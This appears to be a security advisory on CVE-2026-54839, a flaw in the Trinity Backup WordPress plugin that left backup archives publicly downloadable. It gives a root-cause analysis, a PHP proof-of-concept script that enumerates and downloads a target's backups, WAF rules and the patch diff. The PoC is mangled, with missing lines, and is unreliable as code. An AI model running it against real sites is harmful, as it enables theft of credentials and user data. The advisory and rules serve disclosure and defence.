{
“analysis”: “Atomic Edge analysis of CVE-2026-54839:nThe Trinity Backup plugin versions 2.0.9 and below expose sensitive user and configuration data through unauthenticated access to backup archives stored in the publicly accessible WordPress uploads directory. The plugin stored backups under `wp-content/uploads/trinity-backup/`, which is web-accessible by default. An unauthenticated attacker could enumerate and download these files, extracting database credentials, user data, site configurations, and file archives.nnRoot Cause:nThe vulnerability originates from the BackupManager class (src/Core/BackupManager.php). The constructor at line 20-21 constructed the backup directory path using `wp_upload_dir()` and `trailingslashit($uploads[‘basedir’]) . ‘trinity-backup’`. The `listBackups()` method (lines 33-38) built download URLs by concatenating `trailingslashit($uploads[‘baseurl’])` with the backup file path (lines 69-71 and 98-99). The `baseurl` field corresponds to the publicly accessible URL of the uploads directory, meaning any backup file placed in that location was directly downloadable without authentication. The plugin wrote backup archives, state files, and temporary artifacts into this world-readable directory tree. No authentication check existed before version 2.0.10.nnExploitation:nAn attacker can list backup files by accessing the URL pattern: `https://target.com/wp-content/uploads/trinity-backup/`. If directory listing is enabled, they can browse all subdirectories. The archive filenames follow the pattern `{backupId}.trinity` or `{backupId}/{backupId}.trinity`. The direct download URL would be: `https://target.com/wp-content/uploads/trinity-backup/{backupId}.trinity` or `https://target.com/wp-content/uploads/trinity-backup/{backupId}/{backupId}.trinity`. The attacker can use a simple HTTP client to fetch these files. No authentication token or nonce is required. The attacker can also access legacy state files like `_current_job.txt` or `_operation_lock.json` at the same base URL.nnPatch Analysis:nThe patch introduces a new class `StorageSecurity` (src/Core/StorageSecurity.php) that moves backup storage out of the public uploads URL space. The class generates download URLs via `buildDownloadUrl()` (line 95-103) which returns an admin-ajax.php URL with a nonce parameter. Backup paths now use `StorageSecurity::ensureBaseDirectory()` and `StorageSecurity::ensureJobDirectory()` which enforce directory structure. A new AJAX handler `handleDownloadBackup()` (added in Router.php lines 713-763) verifies `manage_options` capability and validates a nonce before serving the file. The `isAllowedArchive()` method was hardened with realpath normalization. Legacy files are migrated to a protected `.state` subdirectory. The `resolveBackupPath()` method (BackupManager.php lines 166-194) restricts identifiers to prevent path traversal via sanitization and disallowing `..` and `/` sequences.nnImpact:nAn unauthenticated attacker can download complete backup archives containing the entire WordPress database (including user credentials, session tokens, password hashes, email addresses, and sensitive configuration data) and the full file system archive (including wp-config.php with database credentials, uploads with user content, and plugin/theme files). This is a critical data breach leading to complete site compromise. Attackers can use captured credentials for lateral movement, privilege escalation, and further attacks against the hosting infrastructure. The CVSS score of 5.3 reflects the network-based, low-complexity nature of the attack requiring no privileges or user interaction.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-54839 – Trinity Backup – Backup, Migrate, Restore, Clone & Schedule Backups $backup_dir,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_SSL_VERIFYHOST => false,n CURLOPT_TIMEOUT => 30,n]);n$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);ncurl_close($ch);nnif ($http_code === 200 && (strpos($response, ‘.trinity’) !== false || strpos($response, ‘Index of’) !== false)) {n echo “[+] Directory listing available. Found backup files.\n”;n echo “[+] Response snippet:\n”;n // Extract .trinity file linksn preg_match_all(‘/href=”([^”]+\.trinity)”/i’, $response, $matches);n $files = array_unique($matches[1]);n foreach ($files as $file) {n echo ” – Found backup: $backup_dir$file\n”;n // Try to download each filen $file_url = $backup_dir . $file;n $ch = curl_init();n curl_setopt_array($ch, [n CURLOPT_URL => $file_url,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => true,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_SSL_VERIFYHOST => false,n CURLOPT_TIMEOUT => 60,n ]);n $file_data = curl_exec($ch);n curl_close($ch);n // Check if it looks like a valid backup (starts with tar/zip or contains SQL)n if (strlen($file_data) > 100) {n $safe_name = preg_replace(‘/[^a-zA-Z0-9._-]/’, ‘_’, basename($file));n file_put_contents(__DIR__ . ‘/downloaded_’ . $safe_name, $file_data);n echo ” [+] Downloaded ‘$file’ to ‘downloaded_$safe_name’ (” . strlen($file_data) . ” bytes)\n”;n }n }n} else {n echo “[-] Directory listing not available or no backups found at base URL.\n”;n echo “[+] Trying common backup file patterns…\n”;n // Step 2: Try guessing common backup filenamesn // Pattern: {randomId}.trinity or {timestamp}.trinity or backup.trinityn $patterns = [n ‘/trinity-backup/backup.trinity’,n ‘/trinity-backup/current.trinity’,n ‘/trinity-backup/latest.trinity’,n ‘/trinity-backup/_current_job.txt’,n ‘/trinity-backup/_operation_lock.json’,n ];n foreach ($patterns as $pattern) {n $url = $target_url . ‘/wp-content/uploads’ . $pattern;n $ch = curl_init();n curl_setopt_array($ch, [n CURLOPT_URL => $url,n CURLOPT_RETURNTRANSFER => true,n CURLOPT_FOLLOWLOCATION => false,n CURLOPT_SSL_VERIFYPEER => false,n CURLOPT_SSL_VERIFYHOST => false,n CURLOPT_TIMEOUT => 30,n CURLOPT_NOBODY => true,n ]);n curl_exec($ch);n $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);n $size = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);n curl_close($ch);n if ($http_code === 200 && $size > 0) {n echo “[+] Found accessible file: $url (size: $size bytes)\n”;n }n }n}nnecho “[+] Exploitation complete.\n”;”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-54839n# Blocks unauthenticated access to backup files stored in public uploads directoryn# This virtual patch protects sites that cannot immediately patch the pluginnSecRule REQUEST_URI “@rx /wp-content/uploads/trinity-backup/” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-54839 – Trinity Backup unauthenticated backup access’,severity:’CRITICAL’,tag:’CVE-2026-54839′”n SecRule REQUEST_URI “@rx .trinity$” “t:none
n# Block access to legacy state filesnSecRule REQUEST_URI “@rx /wp-content/uploads/trinity-backup/(_current_job\.txt|_operation_lock\.json)” \n “id:20261995,phase:2,deny,status:403,msg:’CVE-2026-54839 – Trinity Backup state file exposure’,severity:’CRITICAL’,tag:’CVE-2026-54839′”n”
}

Published : June 27, 2026
CVE-2026-54839: Trinity Backup – Backup, Migrate, Restore, Clone & Schedule Backups <= 2.0.9 Unauthenticated Information Exposure PoC, Patch Analysis & Rule
CVE ID
CVE-2026-54839
Plugin
trinity-backup
Severity
Medium
(CVSS 5.3)
CWE
200
Vulnerable Version
2.0.9
Patched Version
2.0.10
Disclosed
June 17, 2026
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
Code Diff
--- a/trinity-backup/src/Core/BackupManager.php
+++ b/trinity-backup/src/Core/BackupManager.php
@@ -17,8 +17,7 @@
public function __construct()
{
- $uploads = wp_upload_dir();
- $this->backupDir = trailingslashit($uploads['basedir']) . 'trinity-backup';
+ $this->backupDir = StorageSecurity::ensureBaseDirectory();
}
/**
@@ -33,8 +32,6 @@
return $backups;
}
- $uploads = wp_upload_dir();
-
// Find backups in subdirectories (domain-date-time-random)
$dirs = glob($this->backupDir . '/*', GLOB_ONLYDIR);
if ($dirs !== false) {
@@ -69,7 +66,7 @@
'filename' => $backupId . '.trinity',
'size' => filesize($trinityPath) ?: 0,
'created' => filemtime($trinityPath) ?: 0,
- 'url' => trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $backupId . '/' . basename($trinityPath),
+ 'url' => StorageSecurity::buildDownloadUrl($backupId),
'path' => $trinityPath,
'origin' => $origin,
];
@@ -101,7 +98,7 @@
'filename' => $filename,
'size' => filesize($trinityPath) ?: 0,
'created' => filemtime($trinityPath) ?: 0,
- 'url' => trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $filename,
+ 'url' => StorageSecurity::buildDownloadUrl($id),
'path' => $trinityPath,
'origin' => $origin,
];
@@ -164,6 +161,38 @@
return false;
}
+ public function resolveBackupPath(string $identifier): ?string
+ {
+ $identifier = sanitize_file_name($identifier);
+
+ if ($identifier === '' || str_contains($identifier, '..') || str_contains($identifier, '/')) {
+ return null;
+ }
+
+ $candidates = [];
+ if (str_ends_with($identifier, '.trinity')) {
+ $candidates[] = $this->backupDir . '/' . $identifier;
+ }
+
+ $backupId = preg_replace('/.trinity$/', '', $identifier);
+ if (!is_string($backupId) || $backupId === '') {
+ return null;
+ }
+
+ $candidates[] = $this->backupDir . '/' . $backupId . '/' . $backupId . '.trinity';
+ $candidates[] = $this->backupDir . '/' . $backupId . '/backup.trinity';
+ $candidates[] = $this->backupDir . '/' . (str_starts_with($backupId, 'job_') ? $backupId : ('job_' . $backupId)) . '/backup.trinity';
+ $candidates[] = $this->backupDir . '/' . $backupId . '.trinity';
+
+ foreach ($candidates as $candidate) {
+ if (is_file($candidate) && StorageSecurity::isPathInsideBase($candidate)) {
+ return $candidate;
+ }
+ }
+
+ return null;
+ }
+
/**
* Cleanup old job folders (incomplete jobs older than X hours).
*/
--- a/trinity-backup/src/Core/CompatibilityChecker.php
+++ b/trinity-backup/src/Core/CompatibilityChecker.php
@@ -185,17 +185,14 @@
*/
private function checkWritePermissions(): void
{
- $uploads = wp_upload_dir();
- $testDir = trailingslashit($uploads['basedir']) . 'trinity-backup';
-
- if (!is_dir($testDir)) {
- if (!wp_mkdir_p($testDir)) {
- $this->checks['write_permissions'] = [
- 'status' => 'error',
- 'message' => 'Cannot create backup directory',
- ];
- return;
- }
+ try {
+ $testDir = StorageSecurity::ensureBaseDirectory();
+ } catch (Throwable) {
+ $this->checks['write_permissions'] = [
+ 'status' => 'error',
+ 'message' => 'Cannot create backup directory',
+ ];
+ return;
}
$testFile = $testDir . '/.write-test-' . time();
--- a/trinity-backup/src/Core/OperationLock.php
+++ b/trinity-backup/src/Core/OperationLock.php
@@ -2,8 +2,8 @@
/**
* Operation lock to prevent concurrent destructive operations.
*
- * Stored in uploads/trinity-backup as a small JSON file so it survives
- * database replacement during restore (import).
+ * Stored in the protected Trinity Backup state directory so it survives
+ * database replacement during restore (import) without being web-readable.
*/
declare(strict_types=1);
@@ -233,13 +233,7 @@
private function getLockPath(): string
{
- $uploads = wp_upload_dir();
- $dir = trailingslashit($uploads['basedir']) . 'trinity-backup';
- if (!is_dir($dir)) {
- wp_mkdir_p($dir);
- }
-
- return $dir . '/' . self::LOCK_FILE;
+ return StorageSecurity::getStateDir() . '/' . self::LOCK_FILE;
}
private function readFromHandle($handle): mixed
--- a/trinity-backup/src/Core/Plugin.php
+++ b/trinity-backup/src/Core/Plugin.php
@@ -22,7 +22,7 @@
final class Plugin
{
- public const VERSION = '2.0.9';
+ public const VERSION = '2.0.10';
public static function init(): void
{
@@ -66,6 +66,12 @@
$router = new Router($container->get('pipeline'), $container->get('import_pipeline'));
$router->register();
+ try {
+ StorageSecurity::install();
+ } catch (Throwable) {
+ // Backup and restore requests surface storage errors when they need the directory.
+ }
+
// Pro features — only register if licensed
$canUsePro = function_exists('trinity_backup_can_use_pro') && trinity_backup_can_use_pro();
$hasFeature = static fn(string $f): bool => function_exists('trinity_backup_has_feature') && trinity_backup_has_feature($f);
@@ -92,6 +98,7 @@
add_action('admin_menu', [$this, 'registerAdminMenu']);
add_action('admin_enqueue_scripts', [$this, 'enqueueAssets']);
+ add_filter('admin_body_class', [$this, 'filterAdminBodyClass']);
}
public function registerAdminMenu(): void
@@ -178,18 +185,46 @@
echo '</div>';
}
- public function renderAdminPage(): void
+ public function filterAdminBodyClass(string $classes): string
+ {
+ $page = isset($_GET['page']) ? sanitize_key(wp_unslash((string) $_GET['page'])) : '';
+ if ($page !== 'trinity-backup') {
+ return $classes;
+ }
+
+ $themeClass = 'trinity-theme-' . $this->getSavedTheme();
+ $classes = trim($classes);
+
+ if ($classes === '') {
+ return $themeClass;
+ }
+
+ if (str_contains(' ' . $classes . ' ', ' ' . $themeClass . ' ')) {
+ return $classes;
+ }
+
+ return $classes . ' ' . $themeClass;
+ }
+
+ private function getSavedTheme(): string
{
- $currentUrl = home_url('/');
- $pluginFile = dirname(__DIR__, 2) . '/trinity-backup.php';
- $imgUrl = plugin_dir_url($pluginFile) . 'assets/img/';
-
- // Read theme from user meta
$userId = get_current_user_id();
$savedTheme = get_user_meta($userId, 'trinity_backup_theme', true);
+
if (!in_array($savedTheme, ['light', 'dark', 'auto'], true)) {
- $savedTheme = 'auto';
+ return 'auto';
}
+
+ return $savedTheme;
+ }
+
+ public function renderAdminPage(): void
+ {
+ $currentUrl = home_url('/');
+ $pluginFile = dirname(__DIR__, 2) . '/trinity-backup.php';
+ $imgUrl = plugin_dir_url($pluginFile) . 'assets/img/';
+
+ $savedTheme = $this->getSavedTheme();
echo '<div class="wrap">';
echo '<h1 style="display:none;"></h1>'; // Catches all WP admin notices above our UI
--- a/trinity-backup/src/Core/Router.php
+++ b/trinity-backup/src/Core/Router.php
@@ -41,6 +41,7 @@
// Backups management
add_action('wp_ajax_trinity_backup_list_backups', [$this, 'handleListBackups']);
+ add_action('wp_ajax_trinity_backup_download', [$this, 'handleDownloadBackup']);
add_action('wp_ajax_trinity_backup_delete', [$this, 'handleDeleteBackup']);
add_action('wp_ajax_trinity_backup_delete_all', [$this, 'handleDeleteAllBackups']);
add_action('wp_ajax_trinity_backup_cleanup', [$this, 'handleCleanup']);
@@ -204,6 +205,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
}
wp_send_json($response);
} catch (Throwable $throwable) {
@@ -232,6 +234,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
wp_send_json_error(['message' => $throwable->getMessage()]);
}
}
@@ -267,10 +270,30 @@
wp_send_json_error(['message' => $uploaded['error'] ?? 'Upload failed.']);
}
+ $uploadedPath = isset($uploaded['file']) ? (string) $uploaded['file'] : '';
+ if ($uploadedPath === '' || !is_file($uploadedPath)) {
+ wp_send_json_error(['message' => 'Upload failed.']);
+ }
+
+ $stateManager = new StateManager();
+ $backupId = $stateManager->generateBackupName();
+ $jobDir = StorageSecurity::ensureJobDirectory($backupId);
+ $finalPath = $jobDir . '/' . $backupId . '.trinity';
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_rename -- Moving plugin-owned uploaded archive into protected storage.
+ if (!@rename($uploadedPath, $finalPath)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_copy -- Moving plugin-owned uploaded archive into protected storage.
+ if (!@copy($uploadedPath, $finalPath)) {
+ wp_delete_file($uploadedPath);
+ wp_send_json_error(['message' => 'Failed to move uploaded archive into protected storage.']);
+ }
+ wp_delete_file($uploadedPath);
+ }
+
wp_send_json([
'status' => 'ok',
- 'path' => $uploaded['file'],
- 'url' => $uploaded['url'],
+ 'path' => $finalPath,
+ 'url' => StorageSecurity::buildDownloadUrl($backupId),
]);
}
@@ -306,12 +329,7 @@
}
// Create upload directory
- $uploads = wp_upload_dir();
- $uploadDir = trailingslashit($uploads['basedir']) . 'trinity-backup/uploads/' . $uploadId;
-
- if (!is_dir($uploadDir)) {
- wp_mkdir_p($uploadDir);
- }
+ $uploadDir = StorageSecurity::ensureUploadDirectory($uploadId);
// Save chunk
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized,WordPress.Security.ValidatedSanitizedInput.InputNotValidated,WordPress.Security.NonceVerification.Missing -- tmp_name is validated by PHP upload mechanism, nonce verified in assertNonce()
@@ -355,11 +373,7 @@
// All chunks uploaded - combine them into a folder
$stateManager = new StateManager();
$backupId = $stateManager->generateBackupName();
- $jobDir = trailingslashit($uploads['basedir']) . 'trinity-backup/' . $backupId;
-
- if (!is_dir($jobDir)) {
- wp_mkdir_p($jobDir);
- }
+ $jobDir = StorageSecurity::ensureJobDirectory($backupId);
$finalPath = $jobDir . '/' . $backupId . '.trinity';
@@ -389,7 +403,7 @@
wp_send_json([
'status' => 'ok',
'path' => $finalPath,
- 'url' => trailingslashit($uploads['baseurl']) . 'trinity-backup/' . $backupId . '/' . $backupId . '.trinity',
+ 'url' => StorageSecurity::buildDownloadUrl($backupId),
]);
}
@@ -624,6 +638,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
}
wp_send_json($response);
} catch (Throwable $throwable) {
@@ -652,6 +667,7 @@
if ($token !== '') {
$lock->release($token);
}
+ $stateManager->forget($jobId);
wp_send_json_error(['message' => $throwable->getMessage()]);
}
}
@@ -697,6 +713,63 @@
}
}
+ public function handleDownloadBackup(): void
+ {
+ if (!current_user_can('manage_options')) {
+ wp_die('Insufficient permissions.', '', ['response' => 403]);
+ }
+
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Download nonce is verified below.
+ $backupId = isset($_GET['backup']) ? sanitize_file_name(wp_unslash((string) $_GET['backup'])) : '';
+ if ($backupId === '') {
+ wp_die('Missing backup id.', '', ['response' => 400]);
+ }
+
+ // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is sanitized and verified here.
+ $nonce = isset($_GET['nonce']) ? sanitize_text_field(wp_unslash((string) $_GET['nonce'])) : '';
+ if (!wp_verify_nonce($nonce, 'trinity_backup_download_' . $backupId)) {
+ wp_die('Invalid download link.', '', ['response' => 403]);
+ }
+
+ $manager = new BackupManager();
+ $path = $manager->resolveBackupPath($backupId);
+ if ($path === null || !is_file($path)) {
+ wp_die('Backup not found.', '', ['response' => 404]);
+ }
+
+ $filename = str_replace('"', '', basename($path));
+ $size = filesize($path);
+ if ($size === false) {
+ wp_die('Unable to read backup file.', '', ['response' => 500]);
+ }
+
+ while (ob_get_level() > 0) {
+ ob_end_clean();
+ }
+
+ nocache_headers();
+ header('X-Content-Type-Options: nosniff');
+ header('Content-Type: application/octet-stream');
+ header('Content-Disposition: attachment; filename="' . $filename . '"; filename*=UTF-8''' . rawurlencode($filename));
+ header('Content-Length: ' . (string) $size);
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- Streaming large backup download.
+ $handle = fopen($path, 'rb');
+ if ($handle === false) {
+ exit;
+ }
+
+ while (!feof($handle)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fread -- Streaming large backup download.
+ echo fread($handle, 1048576);
+ flush();
+ }
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- Closing streamed download handle.
+ fclose($handle);
+ exit;
+ }
+
public function handleDeleteBackup(): void
{
$this->assertNonce();
@@ -1017,14 +1090,16 @@
private function isAllowedArchive(string $archivePath): bool
{
- $uploads = wp_upload_dir();
- $base = realpath($uploads['basedir']);
+ $base = realpath(StorageSecurity::ensureBaseDirectory());
$path = realpath($archivePath);
if ($base === false || $path === false) {
return false;
}
+ $base = rtrim(str_replace('\', '/', $base), '/') . '/';
+ $path = str_replace('\', '/', $path);
+
return str_starts_with($path, $base);
}
--- a/trinity-backup/src/Core/StateManager.php
+++ b/trinity-backup/src/Core/StateManager.php
@@ -17,7 +17,7 @@
{
$jobId = $this->generateBackupName();
$this->directSave(self::OPTION_CURRENT, $jobId);
- $this->saveCurrentJobIdToFile($jobId);
+ StorageSecurity::deleteLegacyPublicFiles();
return $jobId;
}
@@ -95,9 +95,8 @@
if (is_string($jobId) && $jobId !== '') {
return $jobId;
}
-
- // Fallback to file
- return $this->loadCurrentJobIdFromFile();
+
+ return null;
}
public function loadCurrent(): ?array
@@ -113,6 +112,7 @@
public function forget(string $jobId): void
{
$this->directDelete(self::OPTION_PREFIX . $jobId);
+ $this->directDelete(self::OPTION_CURRENT);
$this->forgetFile($jobId);
}
@@ -205,25 +205,7 @@
*/
private function getStateFilePath(string $jobId): string
{
- $uploads = wp_upload_dir();
- $dir = trailingslashit($uploads['basedir']) . 'trinity-backup';
- if (!is_dir($dir)) {
- wp_mkdir_p($dir);
- }
- return $dir . '/' . $jobId . '_state.json';
- }
-
- /**
- * Get file path for current job ID storage.
- */
- private function getCurrentJobFilePath(): string
- {
- $uploads = wp_upload_dir();
- $dir = trailingslashit($uploads['basedir']) . 'trinity-backup';
- if (!is_dir($dir)) {
- wp_mkdir_p($dir);
- }
- return $dir . '/_current_job.txt';
+ return StorageSecurity::getStateDir() . '/' . sanitize_file_name($jobId) . '.json';
}
/**
@@ -232,7 +214,8 @@
private function saveToFile(string $jobId, array $state): void
{
$path = $this->getStateFilePath($jobId);
- file_put_contents($path, json_encode($state, JSON_PRETTY_PRINT));
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents -- Import state must survive database replacement between AJAX requests.
+ file_put_contents($path, wp_json_encode($state, JSON_PRETTY_PRINT), LOCK_EX);
}
/**
@@ -241,43 +224,40 @@
private function loadFromFile(string $jobId): ?array
{
$path = $this->getStateFilePath($jobId);
+
+ $state = $this->readStateFile($path);
+ if (is_array($state)) {
+ return $state;
+ }
+
+ $legacyPath = StorageSecurity::getLegacyStateFilePath($jobId);
+ $state = $this->readStateFile($legacyPath);
+ if (is_array($state)) {
+ $this->saveToFile($jobId, $state);
+ wp_delete_file($legacyPath);
+ return $state;
+ }
+
+ return null;
+ }
+
+ private function readStateFile(string $path): ?array
+ {
if (!is_file($path)) {
return null;
}
-
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- Reading plugin-owned import state.
$content = file_get_contents($path);
if ($content === false) {
return null;
}
-
+
$state = json_decode($content, true);
return is_array($state) ? $state : null;
}
/**
- * Save current job ID to file.
- */
- private function saveCurrentJobIdToFile(string $jobId): void
- {
- $path = $this->getCurrentJobFilePath();
- file_put_contents($path, $jobId);
- }
-
- /**
- * Load current job ID from file.
- */
- private function loadCurrentJobIdFromFile(): ?string
- {
- $path = $this->getCurrentJobFilePath();
- if (!is_file($path)) {
- return null;
- }
-
- $jobId = trim((string) file_get_contents($path));
- return $jobId !== '' ? $jobId : null;
- }
-
- /**
* Delete state file.
*/
public function forgetFile(string $jobId): void
@@ -286,5 +266,10 @@
if (is_file($path)) {
wp_delete_file($path);
}
+
+ $legacyPath = StorageSecurity::getLegacyStateFilePath($jobId);
+ if (is_file($legacyPath)) {
+ wp_delete_file($legacyPath);
+ }
}
}
--- a/trinity-backup/src/Core/StorageSecurity.php
+++ b/trinity-backup/src/Core/StorageSecurity.php
@@ -0,0 +1,270 @@
+<?php
+
+declare(strict_types=1);
+
+namespace TrinityBackupCore;
+
+if (!defined('ABSPATH')) {
+ exit;
+}
+
+use RuntimeException;
+
+final class StorageSecurity
+{
+ private const DIR_NAME = 'trinity-backup';
+ private const STATE_DIR = '.state';
+
+ private const HTACCESS = "Options -Indexesn"
+ . "<IfModule mod_authz_core.c>n"
+ . "Require all deniedn"
+ . "</IfModule>n"
+ . "<IfModule !mod_authz_core.c>n"
+ . "Deny from alln"
+ . "</IfModule>n";
+
+ private const WEB_CONFIG = "<?xml version="1.0" encoding="UTF-8"?>n"
+ . "<configuration>n"
+ . " <system.webServer>n"
+ . " <security>n"
+ . " <authorization>n"
+ . " <remove users="*" roles="" verbs="" />n"
+ . " <add accessType="Deny" users="*" />n"
+ . " </authorization>n"
+ . " </security>n"
+ . " </system.webServer>n"
+ . "</configuration>n";
+
+ public static function install(): void
+ {
+ self::ensureBaseDirectory();
+ self::migrateLegacyStateFiles();
+ self::deleteLegacyPublicFiles();
+ self::cleanupLegacyTemporaryArtifacts();
+ }
+
+ public static function getBaseDir(): string
+ {
+ $uploads = wp_upload_dir();
+ return trailingslashit($uploads['basedir']) . self::DIR_NAME;
+ }
+
+ public static function ensureBaseDirectory(): string
+ {
+ $dir = self::getBaseDir();
+ self::ensureDirectory($dir);
+ self::writeProtectionFiles($dir);
+ self::deleteLegacyPublicFiles();
+
+ return $dir;
+ }
+
+ public static function ensureJobDirectory(string $jobId): string
+ {
+ $baseDir = self::ensureBaseDirectory();
+ $dir = $baseDir . '/' . sanitize_file_name($jobId);
+ self::ensureDirectory($dir);
+ self::writeIndexFile($dir);
+
+ return $dir;
+ }
+
+ public static function ensureUploadDirectory(string $uploadId): string
+ {
+ $baseDir = self::ensureBaseDirectory();
+ $uploadsDir = $baseDir . '/uploads';
+ self::ensureDirectory($uploadsDir);
+ self::writeIndexFile($uploadsDir);
+
+ $dir = $uploadsDir . '/' . sanitize_file_name($uploadId);
+ self::ensureDirectory($dir);
+ self::writeIndexFile($dir);
+
+ return $dir;
+ }
+
+ public static function getStateDir(): string
+ {
+ $dir = self::ensureBaseDirectory() . '/' . self::STATE_DIR;
+ self::ensureDirectory($dir);
+ self::writeProtectionFiles($dir);
+
+ return $dir;
+ }
+
+ public static function buildDownloadUrl(string $backupId): string
+ {
+ $backupId = sanitize_file_name($backupId);
+
+ return add_query_arg(
+ [
+ 'action' => 'trinity_backup_download',
+ 'backup' => $backupId,
+ 'nonce' => wp_create_nonce('trinity_backup_download_' . $backupId),
+ ],
+ admin_url('admin-ajax.php')
+ );
+ }
+
+ public static function deleteFileInsideBase(string $path): void
+ {
+ $realPath = realpath($path);
+ if ($realPath === false || !is_file($realPath)) {
+ return;
+ }
+
+ if (!self::isPathInsideBase($realPath)) {
+ return;
+ }
+
+ wp_delete_file($realPath);
+ }
+
+ public static function isPathInsideBase(string $path): bool
+ {
+ $base = realpath(self::ensureBaseDirectory());
+ $realPath = realpath($path);
+
+ if ($base === false || $realPath === false) {
+ return false;
+ }
+
+ $base = rtrim(str_replace('\', '/', $base), '/') . '/';
+ $realPath = str_replace('\', '/', $realPath);
+
+ return str_starts_with($realPath, $base);
+ }
+
+ public static function getLegacyStateFilePath(string $jobId): string
+ {
+ return self::getBaseDir() . '/' . sanitize_file_name($jobId) . '_state.json';
+ }
+
+ public static function deleteLegacyPublicFiles(): void
+ {
+ $baseDir = self::getBaseDir();
+
+ foreach (['_current_job.txt', '_operation_lock.json'] as $filename) {
+ $path = $baseDir . '/' . $filename;
+ if (is_file($path)) {
+ wp_delete_file($path);
+ }
+ }
+ }
+
+ public static function migrateLegacyStateFiles(): void
+ {
+ $baseDir = self::getBaseDir();
+ if (!is_dir($baseDir)) {
+ return;
+ }
+
+ $stateDir = $baseDir . '/' . self::STATE_DIR;
+ self::ensureDirectory($stateDir);
+ self::writeProtectionFiles($stateDir);
+
+ $files = glob($baseDir . '/*_state.json');
+ if ($files === false) {
+ return;
+ }
+
+ foreach ($files as $file) {
+ if (!is_file($file)) {
+ continue;
+ }
+
+ $jobId = preg_replace('/_state.json$/', '', basename($file));
+ if (!is_string($jobId) || $jobId === '') {
+ continue;
+ }
+
+ $target = $stateDir . '/' . sanitize_file_name($jobId) . '.json';
+ if (!is_file($target)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_rename -- Moving plugin-owned legacy state file.
+ if (!@rename($file, $target)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_copy -- Migrating plugin-owned legacy state file.
+ @copy($file, $target);
+ wp_delete_file($file);
+ }
+ } else {
+ wp_delete_file($file);
+ }
+ }
+ }
+
+ public static function cleanupLegacyTemporaryArtifacts(): void
+ {
+ $baseDir = self::getBaseDir();
+ if (!is_dir($baseDir)) {
+ return;
+ }
+
+ $currentJob = get_option('trinity_backup_current_job');
+ $currentJob = is_string($currentJob) ? $currentJob : '';
+
+ foreach (['database.sql', 'manifest.jsonl'] as $filename) {
+ $rootPath = $baseDir . '/' . $filename;
+ if (is_file($rootPath)) {
+ wp_delete_file($rootPath);
+ }
+ }
+
+ $dirs = glob($baseDir . '/*', GLOB_ONLYDIR);
+ if ($dirs === false) {
+ return;
+ }
+
+ foreach ($dirs as $dir) {
+ $jobId = basename($dir);
+ if ($jobId === self::STATE_DIR || $jobId === 'uploads' || $jobId === $currentJob) {
+ continue;
+ }
+
+ foreach (['database.sql', 'manifest.jsonl'] as $filename) {
+ $path = $dir . '/' . $filename;
+ if (is_file($path)) {
+ wp_delete_file($path);
+ }
+ }
+ }
+ }
+
+ private static function ensureDirectory(string $dir): void
+ {
+ if (is_dir($dir)) {
+ return;
+ }
+
+ if (!wp_mkdir_p($dir) && !is_dir($dir)) {
+ throw new RuntimeException('Failed to create backup directory: ' . $dir);
+ }
+ }
+
+ private static function writeProtectionFiles(string $dir): void
+ {
+ self::writeFileIfChanged($dir . '/.htaccess', self::HTACCESS);
+ self::writeFileIfChanged($dir . '/web.config', self::WEB_CONFIG);
+ self::writeIndexFile($dir);
+ }
+
+ private static function writeIndexFile(string $dir): void
+ {
+ self::writeFileIfChanged($dir . '/index.php', "<?phpnhttp_response_code(403);nexit;n");
+ }
+
+ private static function writeFileIfChanged(string $path, string $content): void
+ {
+ if (is_file($path)) {
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- Reading plugin-owned protection file.
+ $existing = file_get_contents($path);
+ if ($existing === $content) {
+ return;
+ }
+ }
+
+ // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents -- Writing plugin-owned protection file.
+ if (@file_put_contents($path, $content, LOCK_EX) === false) {
+ throw new RuntimeException('Failed to write backup directory protection file: ' . $path);
+ }
+ }
+}
No newline at end of file
--- a/trinity-backup/src/Engine/ImportPipeline.php
+++ b/trinity-backup/src/Engine/ImportPipeline.php
@@ -11,6 +11,7 @@
use RuntimeException;
use TrinityBackupArchiverTrinityExtractor;
use TrinityBackupCoreStateManager;
+use TrinityBackupCoreStorageSecurity;
use TrinityBackupEngineStepsImportDatabase;
use TrinityBackupEngineStepsImportFiles;
use TrinityBackupFilesystemFilesystemInterface;
@@ -56,8 +57,7 @@
// If archive is in a job folder, use it; otherwise create temp folder
if (!str_contains($archiveDir, 'trinity-backup/job_')) {
- $uploads = wp_upload_dir();
- $baseDir = trailingslashit($uploads['basedir']) . 'trinity-backup/' . $jobId;
+ $baseDir = StorageSecurity::ensureJobDirectory($jobId);
